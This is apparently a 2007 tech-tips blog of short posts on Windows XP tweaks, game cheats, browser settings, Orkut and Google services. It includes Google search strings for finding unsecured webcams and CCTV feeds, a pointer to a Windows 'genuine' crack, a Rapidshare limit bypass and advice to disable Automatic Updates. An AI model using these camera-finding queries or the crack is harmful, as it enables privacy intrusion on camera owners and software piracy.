2) Copy the following text and paste it in your address bar

javascript:document.body.innerHTML=document.body.innerHTML.replace(/small/g,"medium");void(0)

3) Hit ENTER key

Google Audio Ads

2007-06-03T13:07:00.001+05:30

Qouted directly from Google Blog

Google recently signed a multi-year agreement with Clear Channel Radio, the largest radio station group owner in the U.S. This is an important milestone for us. Under the agreement, Google Audio Ads can sell a portion of guaranteed, premium 30-second advertising inventory on 675 Clear Channel AM & FM stations.

These Clear Channel Radio stations, when combined with our existing radio station partners, give our advertisers access to radio inventory on over 1600 top-rated radio stations throughout the country, with "Top 10" stations in 24 of the top 25 U.S. markets and coverage of over 99% of the U.S. population aged 12 and older (meaning 99% of people 12+ can tune in an hear one of our stations; Source: ACT1 / Arbitron).

Where can you hear our ads? Google Audio Ads run on traditional radio stations that you may listen to at home, at work, in the car, in the gym, at the beach, at the store or thanks to the portability of radio, just about anywhere you can take radio and tune in.

It's a great time to consider doing a radio buy now that it is as easy as AdWords. We'll check back in with some CPG-specific ideas in the near future.

Watch movies with MS Paint

2007-06-03T02:04:00.000+05:30

Open your favorite movie player and play the move

Hit "Print Screen", keep playing the movie in the player, don't stop it.

Open MsPaint.

Select "Edit>Paste" Or Hit "Ctrl+V"

Presto! You can watch movies in Paint!

But there are no Pause, Next, Previous, Stop etc. buttons

Windows XP Games Cheats

2007-06-03T01:47:00.000+05:30

FreeCell

Secret - Instant Win
Instructions - Hold down Ctrl + Shift + F10 during game play. Then you will be asked if you want to Abort, Retry or Ignore. Choose Abort, then move any card to instantly win.

Secret - Hidden Game Modes
Instructions - In the "Game" menu choose "Select Game". Enter -1 or -2 to activate the hidden game modes.

Minesweeper

Secret - Reveal Mines
Instructions - Minimize or close all running applications. Launch Minesweeper, then type xyzzy. Next hold down either shift key for one second. Now when you move the mouse cursor over a Minesweeper square you will see a tiny white pixel in the top left corner of your desktop screen. This pixel will change to black when your mouse moves over a mine. You may need to change you desktop background to a solid color other then white or black to see the pixel.

Pinball

Secret - Extra Balls
Instructions - Type 1max at the start of a new ball to get extra balls.

Secret - Gravity Well
Instructions - Type gmax at the start of a new game to activate the Gravity Well.

Secret - Instant Promotion
Instructions - Type rmax at the start of a new game to go up in ranks.

Secret - Skill Shot
Instructions - Launch the ball partially up the chute past the third yellow light bar so it falls back down to get 75,000 points. There are six yellow light bars that are worth a varying amount of points:

First: 15,000 points
Second: 30,000 points
Third: 75,000 points
Fourth: 30,000 points
Fifth: 15,000 points
Sixth: 7,500 points

Secret - Test Mode
Instructions - Type hidden test at the start of a new ball to activate Test Mode. No notification will be given that this is activated but you can now left-click the mouse button and drag the ball around.

Secret - Unlimited Balls
Instructions - Type bmax at the start of a new ball. No notification will be given that this is activated but when a ball is lost a new ball will appear from the yellow wormhole indefinitely. Once this is activated you will be unable to activate other secrets without restarting the game.

Solitaire

Secret - Instant Win
Instructions - Press Alt + Shift + 2 during game play to instantly win.

Secret - Draw single cards in a Draw Three game
Instructions - Hold down CTRL + ALT + SHIFT while drawing a new card. Instead of drawing three cards you will only draw one.

What do Beeps Mean ?

2007-06-03T01:41:00.000+05:30

ERROR CODES IN A PC

One Beep :
DRAM refresh failure
This may be due to - Bad memory chips
- A bad DMA Chip
- Bad memory addressing chips on the motherboard

Two Beeps :
Parity error or Parity Circuit failure
-Your memory may not be seated properly on the mother board.
-Unplug and plug it properly

Three Beeps :
Bad memory or bad mother board

Four beeps :
Timer failure in the RAM.

Five Beeps :
CPU chip may be dead

Six Beeps :
Keyboard controller may have failed

Seven beeps :
CPU is dead. Retry the connections and test.
-Replace the whole motherboard.

Eight Beeps :
Video card is missing or Bad.

Nine Beeps :
Damaged ROM BIOS.
-BIOS chip has to be replaced if it persists.

Ten Beeps :
CMOS shutdown.
-Replace CMOS memory and associated chips.

Eleven Beeps :
Cache memory test has failed.
-To enable cache memory try CTRL+ALT+SHIFT++.

One long Beep and Three short Beeps:
Memory failure

One long Beep and Eight short Beeps :
Video card failure.
-Try to install video card in another slot.

No Beeps :
Check Power supply
-Check mother board connections
-Remove all cards except video card and check for system power up
-Insert all cards one at a time and check their operation.
-If system hangs on the installation of a particular card, then it is the cause for the problem and replace it with another of that type and check

Be Careful with Ctrl + C

2007-06-03T01:31:00.000+05:30

We do copy various data by ctrl+c for pasting elsewhere. This copied
data is stored in clipboard and is accessible from the net by a
combination of Javascripts and ASP.

Just try this:
1) Copy any text by ctrl+c
2) Click the Link:
http://www.friendlycanadian.com/applications/clipboard.htm
3) You will see the text you copied on the Screen which was
accessed by this web page.

Do not keep sensitive data (like passwords, creditcard numbers, PIN
etc.) in the clipboard while surfing the web. It is extremely easy to
extract the text stored in the clipboard to steal your sensitive
information.

Fortunately, the fix for this is also quite simple:

1. In Internet Explorer, go to Tools -> Internet Options -> Security

2. Click on Custom Level (preview image).

3. In the security settings, click to Disable the “Allow Paste Operations via script. That will keep your clipboard contents private

Enable Right Click on Websites that disabled it

2007-06-03T01:29:00.000+05:30

Lots of web sites disable the right click function of the mouse button so that people should not steal their pictures or copy, paste their info... but right click can be enabled....

If u have IE6 or more...

Click "Tools"->"Internet Options"
Click the "Security" tab
Click "Custom Level"
Scroll down to the "Scripting" section
Set "Active Scripting" to "disable"
Click "OK" a couple of times & you are done...

You'll probably want to turn this back to "enable" when you have finished.

Listen to a book read by your computer

2007-06-03T01:24:00.000+05:30

Open Acrobat Reader 6 and above and open the pdf version of the document you want to hear and use the following shortcuts:

Ctrl+ Shift + b ---> To hear the whole document

Ctrl + Shift + v ---> To hear only the page

ctrl + Shift + c ---> To resume

Ctrl + Shift + e ---> To stop

Create Custom Search for websites in Opera

2007-06-03T01:19:00.001+05:30

Now You can create search for Your Favourite Websites...
and search easily by just typing your query in OPERA

Example: Creating Search for
» Notice the search option in Orkut at the top right of the browser screen.
» Right-click the search box.
» Select the Create Search.. option
» In the dialog box that popups, fill in details like Name (anything), keyword (enter any characters like o for orkut)

Multiple login in Google Talk

2007-06-03T01:17:00.000+05:30

This is very simple and very cool and useful.
Here is how you can do.
All you need is to add /nomutex at the end of the target of ur google talk shortcut.

Example:Suppose ur google talk is installed in c:/ drive.
Than All u need is to make D:\Program Files\Google\Google Talk\googletalk.exe as this
D:\Program Files\Google\Google Talk\googletalk.exe /nomutex

Mind the space between googletalk.exe and /nomutex

Make Googling Faster in Firefox

2007-06-02T18:22:00.000+05:30

Firefox 2 has a little Search Box built into the browser into which one can type in ones search queries without going to the search engine website. Usually, the default behaviour for the Search Box is to send its query to google.com. When a person does so from a PC in India, the google.com servers automatically redirect the search request to a google.co.in server for localized results.

Now that’s where our problem is. This redirection causes a noticeable and irritating lag which is entirely useless (and unacceptable!). I would be quite fine with results from google.com instead. So is there a way to make the Search Box send its query directly to the google.co.in servers ? Turns out there is !

The Search Box is not very configurable from within the browser itself. The only thing one can do is to add or remove more search engines or change the default serach engine.

However, if you take a moment to navigate to the Firefox 2 installation directory (probably C:\Program Files\Mozilla Firefox\) you’ll see a directory “searchplugins” in there with a file corresponding to each of the installed search engines.

In Firefox 2, the files are .XML files. Google.xml is what seems to be interesting for us at the moment. Open it ! But if you open it with Notepad, the line breaks will not show up properly. So use either Wordpad or Editplus or something similar if you are on Windows.

In case you are using an older version of Firefox, you’ll see an image file which contains the icon for the Search Engine and a .SRC file. Open Google.src in this case.

I’ll proceed assuming that you have the ‘latest and greatest’ version of Firefox, Firefox 2. But the same idea is easily applied to older versions.

Now there are many things in Goolge.xml, but just look at the line with the URL tag,

Aha ! Change “google.com” in that line to “google.co.in” ! Save the file. And it’s done !

Restart Firefox. Type in a query into the Search Box and feel elated at the reduced latency of your searches. No more redirection is involved from the google.com servers. Yay !

Now for some bonus info. We saw that older versions of Firefox had an image file for the icon and a .SRC file for configuration info. But in the newer version, there is a single .XML file. So where did the icon go ?

The icon is now embedded in the .XML file. But mixing binary image information with textual configuration information can be problematic. So how does one store the icon along with the rest of the configuration data ?

Base64 Encoding can be used for doing that. This kind of encoding is often used to convert binary information into a form that can be stored and transferred in a manner that is compatible with normal text. If you see the contents of the .XML file, you’ll see an tag which contains the Base64 encoded icon.

Ok. So this does seems a little too easy to be labelled a “hack” at all. But nice enough for majority of the people out there. Maybe I’ll put in something more l33t for all you h4X0rs out there…but that’s for another day.

Until then, enjoy the faster search results !

View Source

Use Microsoft Calculator As Web Browser

2007-06-02T16:23:00.000+05:30

1. Open your MS Calculator. This is normally found in Start => All Programs => Accessories => Calculator.

2. Open the help-window by pressing the F1 key.

3. Click the top-left corner icon of the help window once (Icon with a Question mark).

4. Select Go to URL-address.

5. Type your address into the avaliable field, but remember to type http://, and not just www. (or equivalent).

6. Have fun!

Warning: Do not close the Calculator as the help windows(your new browser) will also close.

Speed up WIndows XP

2007-06-02T16:13:00.000+05:30

XP Pro runs a lot of services by default that are pointless if your not on a corporate network, the following services are ones that I safely disable thereby freeing up memory but check what each one does first to make sure your not using it for something:

Go to Run and type services.msc, right click on each service, properties and choose disable.

Alerter
Application Layer Gateway Service,
Application Management
Automatic Updates
Background Intelligent Transfer
Clipbook
Distributed Link Tracking Client
Distributed Transaction Coordinater
Error Reporting Service
Fast User Switching Compatibility
IMAPI CD-Burning
Indexing Service
IPSEC Services
Messenger
Net Logon
Net Meeting
Remote Desktop Sharing
Network DDE
Network DDE DSDM
Portable Media Serial Number
Remote Desktop Help Session Manager
Remote Registry
Secondary Logon
Smartcard
SSDP Discovery Service
Telnet Themes
Uninterruptible Power Supply
Universal Plug and Play Device Host
Upload Manager
Webclient
Wireless Zero Configuration
WMI Performance Adaptor

Add "Reboot into Safe Mode" into Safe Mode

2007-06-02T15:56:00.000+05:30

1. First open the notepad and copy following matter and name this file "Reboot Computer Into
Safe Mode.bat" without quotes,save this file to any (your's choice) location.

-----------------------------------------------------------------------------------------------------------------------------
@Echo Off

:: StartInSafeMode.bat - by [piyush]
:: Sets Windows XP to boot in Safe Mode / Normal Mode

Echo.

Find "default=" C:\boot.ini > default
For /f "skip=2 tokens=2,3* delims== " %%i IN (default) DO @set default=%%i
For /F "tokens=5,6* skip=4 delims=: " %%i IN (C:\boot.ini) DO @set mode=%%k

If "%mode%" == "/safeboot:minimal" (
Echo Safe mode detected.
Goto setnormalmode
) Else (
Echo Normal mode detected.
Goto setsafemode
)
Goto end

:setsafemode
attrib C:\boot.ini -s -r -h
echo> C:\boot.ini [boot loader]
echo>> C:\boot.ini timeout=30
echo>> C:\boot.ini default=%default%
echo>> C:\boot.ini [operating systems]
echo>> C:\boot.ini %default%="Windows XP Safe Mode" /noexecute=alwaysoff /fastdetect /safeboot:minimal
Echo. Your PC is now set to start in Safe Mode.
attrib C:\boot.ini +h +r +s
Goto end

:setnormalmode
attrib C:\boot.ini -s -r -h
echo> C:\boot.ini [boot loader]
echo>> C:\boot.ini timeout=30
echo>> C:\boot.ini default=%default%
echo>> C:\boot.ini [operating systems]
echo>> C:\boot.ini %default%="Microsoft Windows XP Professional" /noexecute=alwaysoff /fastdetect
Echo. Your PC is now set to start normally.
attrib C:\boot.ini +h +r +s
Goto end

:end
Del default
Set mode=
Set default=

Echo.
Echo. Press [X] to close this window.
Pause > nul

Shutdown -r
Exit
-----------------------------------------------------------------------------------------------------------------------------

2. Now suppose your windows xp is located in 'C' drive, then go to C:\Documents and Settings\All Users\Start Menu ,here right click in the empty place & select New >Shortcut, then browse to 'Reboot Computer Into Safe Mode.bat' file (saved in 1 step) then click next here you may give shortcut name as 'Reboot Computer Into Safe Mode' or of your choice.
(YOU MAY DRAG & DROP 'Reboot Computer Into Safe Mode.bat' FILE IF YOU WISH.)

3. Now click start then click just created shortcut, 'Reboot Computer Into Safe Mode', Click 'X' TO reboot into safe mode. That's all! For booting into Normal mode again click start & then 'Reboot Computer Into Safe Mode',Click 'X',now your computer will once again reboot to Normal mode.

Spanish Orkut Virus

2007-06-02T15:53:00.000+05:30

Orkut has changed the lives of people, usually only geeks would roam the internet searching for whatever found their fancy. Now the scene has changed, everyone seems to be orkutting and feeling on top of the world for the same reason.

But recently a bug/virus/spyware seems to have hit orkut, people who get infected complain that testimonials and scraps are sent automatically from their accounts to all their contacts. The virus is clever, excluding the http part of the URLs with the viruses so orkut does not ask for captcha verification which is usually asked for whenever a URL is posted onto Orkut.

Messages such as these are best avoided and deleted ASAP.

Oi , como vai?
Acho que realmente estamos cada vez mais perto do fim do mundo. Nunca tinha visto massacre igual àquele que aconteceu na universidade Politécnica de Virgínia nos Estados Unidos. Fiquei chocado quando assisti às imagens dessa atrocidade.
Segue o link do vídeo da tragédia, feito pelo celular de um aluno:
Copie o link e cole no navegador.
URL Part Removed
São imagens chocantes.
Um abraço!

The messages are also posted in Portugese and other Latin origin languages.

View Source

Goin Offline with Google Gears

2007-06-02T14:18:00.000+05:30

Quoted from Google Gears Blog

One of the most frequently requested features for Google's web applications is the ability to use them offline. Unfortunately, today's web browsers lack some fundamental building blocks necessary to make offline web applications a reality. In other words, we found we needed to add a few new gears to the web machinery before we could get our apps to run offline. Gears is a browser extension that we hope -- with time and plenty of input and collaboration from outside of Google -- can make not just our applications but everyone's applications work offline.

There are many ways to approach offline web applications. The Gears team believes in the open web and the simple technologies it is built on, and we didn't want to change that. So Gears is an incremental improvement to the web as it is today. It adds just enough to AJAX to make current web applications work offline.

Gears today covers what we think is the minimal set of primitives required for offline apps. It is still a bit rough and in need of polish, but we are releasing it early because we think the best way to make Gears really useful is to evolve it into an open standard. We are releasing Gears as an open source project and we are working with Adobe, Mozilla and Opera and other industry partners to make sure that Gears is the right solution for everyone. We also want to get early feedback, community involvement, and rapid iterations.

Visit Google Gears

Google - The King of Hidden Services

2007-06-02T14:13:00.000+05:30

When someone says Google, I think at least 60%-70% of people reply that it's a "Search Engine". Do you know that Google has so much thing going on that we don't even know it exist? Google has the ability to search for images, news, blogs, music, video, maps, products, answers, notebook, linux, apple, movies, definitions and the list goes on...

One thing I don't understand is why when we visit Google's URL (www.google.com), we only see a very simple and clean search page instead of a full featured page like Yahoo? At least now it's much better with a navigation bar where it shows Web, Images, Video, News, Maps, Gmail and more but it's still NOT complete.
Google free stuff
Here's a quote taken from Don Norman's "The Truth About Google's Simplicity".

Why are Yahoo! and MSN such complex-looking places? Because their systems are easier to use. Not because they are complex, but because they simplify the life of their users by letting them see their choices on the home page: news, alternative searches, other items of interest. Yahoo! even has an excellent personalization page, so you can choose what you wish to see on that first page.

Take another careful look at Google's front page. Want a map? You have to click once to be offered the choice, then a second additional time to get to the map page. Want to use Google Scholar to check references? Um, well, is that "Advanced Search" or "more." What about their newly announced blog search? Why is Google maps separate from Google Earth? (Oh, those were purchased from different companies. Yes, but why should I, the user, care about the history of Google's acquisitions?)

Anyway, continue reading to check out the list of free and hidden services offered by google in ONE page.

Simply Google has created a page that includes every Google hidden feature.
List of google free services

If your web browser's start page is Google.com, you might want to change it to Simply Google because it's more complete than the original and simple Google.com page.

Visit Simply Google

Did you notice the space below Run in Start Menu?

2007-06-02T13:18:00.000+05:30

The following tutorial gives you the way to use that free space for your own shortcut, e.g., u can create a shortcut for Windows Media Player in that free space.

Simply post the following code in Notepad and save it as any file name but make sure that the extension must be".REG".

CODE:

Windows Registry Editor Version 5.00

[HKEY_CLASSES_ROOT\CLSID\{2559a1f6-21d7-11d4-bdaf-00c04f60b9f0}]
@="Windows Media Player"
"InfoTip"="Windows Media Player 11"

[HKEY_CLASSES_ROOT\CLSID\{2559a1f6-21d7-11d4-bdaf-00c04f60b9f0}\DefaultIcon]
@="%SystemRoot%\\system32\\SHELL32.dll,168"

[HKEY_CLASSES_ROOT\CLSID\{2559a1f6-21d7-11d4-bdaf-00c04f60b9f0}\InProcServer32]
@=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00 ,52,00,6f,00,6f,00,74,00,25,\
00,5c,00,73,00,79,00,73,00,74,00,65,00,6d,00,33,00 ,32,00,5c,00,73,00,68,00,\
64,00,6f,00,63,00,76,00,77,00,2e,00,64,00,6c,00,6c ,00,00,00
"ThreadingModel"="Apartment"

[HKEY_CLASSES_ROOT\CLSID\{2559a1f6-21d7-11d4-bdaf-00c04f60b9f0}\Instance]
"CLSID"="{3f454f0e-42ae-4d7c-8ea3-328250d6e272}"

[HKEY_CLASSES_ROOT\CLSID\{2559a1f6-21d7-11d4-bdaf-00c04f60b9f0}\Instance\InitPropertyBag]
"CLSID"="{13709620-C279-11CE-A49E-444553540000}"
"method"="ShellExecute"
"Command"="Windows Media Player"
"Param1"="%ProgramFiles%\\Windows Media Player\\wmplayer.exe"

[HKEY_CLASSES_ROOT\CLSID\{2559a1f6-21d7-11d4-bdaf-00c04f60b9f0}\shellex]

[HKEY_CLASSES_ROOT\CLSID\{2559a1f6-21d7-11d4-bdaf-00c04f60b9f0}\shellex\ContextMenuHandlers]

[HKEY_CLASSES_ROOT\CLSID\{2559a1f6-21d7-11d4-bdaf-00c04f60b9f0}\shellex\ContextMenuHandlers\{2559a1f 6-21d7-11d4-bdaf-00c04f60b9f0}]
@=""

[HKEY_CLASSES_ROOT\CLSID\{2559a1f6-21d7-11d4-bdaf-00c04f60b9f0}\shellex\MayChangeDefaultMenu]
@=""

[HKEY_CLASSES_ROOT\CLSID\{2559a1f6-21d7-11d4-bdaf-00c04f60b9f0}\ShellFolder]
"Attributes"=dword:00000000

Now run this file and it'll ask your confirmation, say YES and then OK. Now you will see a new entry for Windows Media Player under the RUN menu item. (U may required to log off for make the changes)

In the above tutorial the things, which I have posted in BOLD may be changed for other shortcuts. Like u can change the name to some other if u want!
The "Default Icon" is the path of the icon file, which u want to display in the Start menu shortcut. (NOTE: Double slashes r compulsory).
Similarly, the "Param1" in "Instance\InitPropertyBag" is the path of the executable file, to which u want to create the shortcut. (Here also the Double slashes r compulsory!).

Customize Firefox to your memory needs

2007-06-02T00:53:00.001+05:30

Limit RAM usage:

If Firefox takes up too much memory on your computer, you can limit the amount of RAM it is allowed to us.
1. Go to about:config by typing about:config in the address bar.

2. Select "browser.cache.disk.capacity". It is set to 50000, but you can lower it, depending on how much memory you have. Try 15000 if you have between 512MB and 1GB ram.

Reduce RAM usage further for when Firefox is minimized:

This setting will move Firefox to your hard drive when you minimize it, taking up much less memory. And there is no noticeable difference in speed when you restore Firefox, so it’s definitely worth a go.
1. Go to about:config

2. Right-click anywhere and select New-> Boolean.
3. Name it "config.trim_on_minimize" and set it to TRUE. You have to restart Firefox for these settings to take effect.

Fun with Notepad - Explained

2007-06-02T00:18:00.000+05:30

To our new visitors, please try the trick posted earlier here

The explanation for this phenomenon is here:

1. Load Notepad in Windows (in my case XP Pro)

2. Type "bush hid the facts" (all in lowercase, no quotes)

3. Save this file under a name of your choice

4. Re-open the file

You will not see the text that you typed, but instead you will see a bunch of squares.

Most people think it's a Windows Notepad easter egg , but in fact, it isn't. It's just a lousy Notepad bug. Let me explain...

I was myself curious about the cause of this phenomenon, and I found out that this text is not the only one to cause problems. There are other strings that cause Notepad to screw up, including "this app can break", which was another version of the bug that generated a lot of buzz. I've personally tested a series of strings that have the same effect, including "this api can break", "this cat can split", "jane can not dance", "text wit hou tcaps" and even "abcd efg hij klmno" and "xxxx xxx xxx xxxxx". What do these phrases have in common? They are made up by four words made up by four, three, three and five letters, all lowercase.

So, by induction, all "4-3-3-5" strings should work.

Now, let's get to why this thing happens. First of all, it seems that Notepad writes the files just fine, it just can't read them again correctly. As a proof, try opening your saved file, the one that Notepad screws up, with another text editor. It turned out to be OK. So why the Notepad thing then? Well, it's a Windows thing. Notepad uses a Windows function that allows it to figure out whether a text file is Unicode or not. And that function is the one that screws it up. Because the way it checks can easily be described as "guessing". And it guesses that the file is actually Unicode, and not Ascii, as it is supposed to be.

Rapidshare - Bypass One Hour Limit

2007-06-01T23:20:00.000+05:30

Ever wanted to bypass the annoying limit on how much you can download on Rapidshare, and don’t want to wait until the next hour to download a second part of a file? Then try this trick. It doesnt work if u use a proxy though.

For Windows XP:

1. Launch Command Prompt: Start > All Programs > Accessories > Command Prompt

2. When Command Prompt is opened, Copy and Paste this in the Command Prompt:

@echo off
echo ipconfig /flushdns
ipconfig /flushdns
echo ipconfig /release
ipconfig /release
echo ipconfig /renew
ipconfig /renew
exit

3. Command Prompt does the rest from here.

Make Windows XP Genuine 100 % Working

2007-06-01T23:04:00.000+05:30

This is for all those who want to make their copy of windows genuine. Download this file and follow the instructions. Please put your comments in the chat box.

Send Mass Scraps in Orkut - Another Way

2007-06-01T08:56:00.000+05:30

There is a little software to send mass scraps in orkut. It is called Orkut Cute. With Orkut Cute you will be able to send scraps (the public messages that anyone can leave on anyone else's profile) to all your friends in Orkut and all your other online social networking communities. The program also informs you when you receive new scraps and new topics in yours communities.

Here are some key features of "Orkut Cute":

· You can create several standard messages: they are stored in a database, so that you don’t need to type them all over again.
· You can choose to which friends you want to send your message
· Macroreplacement unique system. By placing the identifiers $nc$ or $nl$ anywhere on your message, they will be replaced by your friend’s name once the message is posted.
· By activating the “random messages” option the program will search messages randomly on its database everytime it posts. This way you will be able to create several messages and each of your friends will receive a different message.

Download

Use Google to Find Live Webcams

2007-06-01T00:52:00.000+05:30

Type certain strings into google and it will bring up network cams. These can be CCTV ect.There are loads of strings to get this i suggest trying this first:

intitle:snc-rz30 inurl:home/

Ok so heres a list of some i know:

inurl:indexFrame.shtml Axis

inurl:"ViewerFrame?Mode="

intitle:flexwatch intext:"Home page ver"

(intext:"MOBOTIX M1" | intext:"MOBOTIX M10") intext:"Open Menu" Shift-Reload

intitle:"WJ-NT104 Main Page"

Try them and enjoy, you may find good ones.

Change title of Internet Explorer

2007-05-31T16:07:00.000+05:30

You can change the default "Microsoft Internet Explorer" on the title bar to anything you wish. Do the following

1. Open Registry Editor

2. Move to the following key.

3. HKEY_CURRENT_USER\Software\Microsoft\Internet. Explorer\Main.

4. In the Right Panel look for the string "Window Title" and change its value as u wish. If the String value is not there create a New String value and assign the value as your wish.

Automatically Close any non-responsive programs

2007-05-31T16:05:00.000+05:30

With a small registry tweak, Windows XP can be set to automatically close any program that 'stops responding' (crashes), eliminating the need for you to use the task manager to close down the offending software manually.

To do this:

1. Go to Run and type 'regedit' (without quotes) and press enter.
2. Navigate to HKEY_CURRENT_USER\Control Panel\Desktop

Modify the REG_SZ entry AutoEndTasks with a value of 1

Hide your files in a JPEG file

2007-05-31T16:02:00.000+05:30

For this, you will only need to download WinRAR. You just need to have a little knowledge about Command Prompt and have WinRAR installed.

1. Gather all the files that you wish to hide in a folder anywhere in your PC (make it in C:\hidden - RECOMMENDED).

2. Now, add those files in a RAR archive (e.g. secret.rar). This file should also be in the same directory (C:\hidden).

3. Now, look for a simple JPEG picture file (e.g. logo.jpg). Copy/Paste that file also in C:\hidden.

4. Now, open Command Prompt (Go to Run and type ‘cmd‘). Make your working directory C:\hidden.

5. Now type: "COPY /b logo.jpg + secret.rar output.jpg" (without quotes) - Now, logo.jpg is the picture you want to show, secret.rar is the file to be hidden, and output.jpg is the file which contains both. :D

6. Now, after you have done this, you will see a file output.jpg in C:\hidden. Open it (double-click) and it will show the picture you wanted to show. Now try opening the same file with WinRAR, it will show the hidden archive .

Pls leave your comments in the chat box or in the comments section

Make Mobile Calls for Free

2007-05-31T00:07:00.000+05:30

Fring is a life saving mobile application which allows us to make free calls, send messages to other Fring user and PC-based VoIP services such as Skype and Google Talk. Fring doesn’t cost any airtime because it’s patented P2P Mobile VoIP technology sends voice calls over GPRS, 3G or Wi-Fi. It can also make landline calls using your SkypeOut credits.

You can call anybody on your Skype, Google Talk contact list for free, they can call you as well. Isn’t it a life saver?

I’ve tried Fring from both the ends, voice quality is fairly good, but the voice gets choppy inside buildings or basements (I guess, that’s quite natural). To get Fring, go to their download page and fill-in some details, you’ll get a text containing the download link. As of now, Fring supports only Nokia handsets including N70, N72, N80, N80i, N90, 6630, 6680, 6681, 6682. Fring Fring!

Send Mass Scraps in Orkut

2007-05-31T00:01:00.000+05:30

Assuming that you have already installed Firefox and Greasemonkey, click here and you’ll see popup, now click on install and the script is installed. Now go to this page to send mass scraps.

This is a great script to send mass greetings to all your friends at once, but let’s just keep hoping that spammers won’t misuse it.

ALTERNATE WAY:

Go to this site and send mass scraps

Integrate 2 Yahoo Mail IDs

2007-05-30T23:43:00.000+05:30

Follow these steps to get a secondary email address added to you account.

1. Go to this link and login
2. Choose your secondary Yahoo ID
3. Done!

You can send/receive emails from your new address under the same old account. You could use both the address simultaneously with a single login. I’m still in favor of Gmail because they’ve implemented it quite nicely, you can use any email address (like you@yourdomain.com), but Yahoo forces you to stick with @yahoo.xx.xx which sucks a bit.

This new feature would probably bring a grin on the faces of millions of Yahoo Mail users.

Stun your friends using Firefox

2007-05-30T23:39:00.003+05:30

This is a cool Firefox cheat which would possibly stun your friends by embedding a Firefox window within a Firefox Window. Just enter this code into your Firefox address bar and hit Enter:

chrome://browser/content/browser.xul

I tried it on my browser, it looked awesome, but the performance of the browser was not upto the mark. Anyways, who cares? You could try sneaking into your friend’s browser and setting the above address as his homepage, it will surely drive him nuts!

Lock your Computer

2007-05-30T23:39:00.001+05:30

Creating a desktop shortcut for locking your computer

If you use your computer in an area where others may have access to it, and there are things on your system you would rather have kept confidential, locking your desktop when you leave the computer is an essential task. Here's a recipe for a desktop shortcut that will lock your computer in two easy clicks:

Right click on an empty area of the desktop and choose 'new' then 'shortcut.' The create shortcut wizard will open; in the first text box, type '%windir%\System32\rundll32.exe user32.dll,LockWorkStation' and then give your shortcut an appropriate name on the next page, and hit 'finish.'

You will notice that the shortcut you created has a blank icon. To select a more appropriate one, right click on the shortcut and hit 'properties.' In the 'shortcut' tab, click the 'change icon' button.

In the 'look for icons in this file' box, type '%SystemRoot%\system32\SHELL32.dll' then click 'ok' to see a range of icons for your new shortcut. Choose an appropriate icon. Your desktop locking shortcut is now ready for use. Test it out.

No More Next Page in Google

2007-05-30T23:35:00.000+05:30

An average Googler would probably spend some time navigating through pages in Google, but not anymore. Thanks to Google Auto Pager which beautifully fetches the results from the next page and append it to the bottom the first page, saving both time and pageloads. Similarly, there is another Greasemonkey script which does the same for Google Image Search Results.

Assuming that you have already installed Firefox and Greasemonkey addon, click here to install Google Auto Pager script and click here to install Google Images Auto Pager script. Now that you’ve installed the script, check it out by performing a Google search. By default the script is not active, inorder to activate the script simply double click on the search page.

Make your computer shutdown at a desired time

2007-05-30T23:31:00.000+05:30

1. Right click on your desktop and choose "New=>shortcuts".
2. In the box that says "Type the location of the shortcut",
type in "shutdown -s -t 3600" without the quotation marks and click next. Note: 3600 are the amount of seconds before your computer shuts down. So , 60secs*60mins=3600secs.
3. Make up a name for the shortcut and you're done.
You can change the icon by right clicking=>properities=>change icon=>browse

TO ABORT:
To make an abort key to stop the shutdown timer just create another shortcut and make
the "location of the shortcut" to " shutdown -a" without the quotes.

********* METHOD # 2 **************

Here is another trick to shutdown at a specific time, for example you wish to shutdown at 11:35am. Type this in

start=>Run

Type Code: at 11:35 shutdown -s

TO ABORT:
Code:shutdown -a

DataOne Bandwidth Monitoring Addon for Firefox

2007-05-30T23:16:00.000+05:30

Majority of BSNL and MTNL Broadband users who opt for limited data transfer plans usually end up exceeding their bandwidth caps and paying heavy bills. Brain Fernandes has developed an awesome Firefox addon which helps you control your bandwidth bills by monitoring your bandwidth usage within Firefox.

Install Now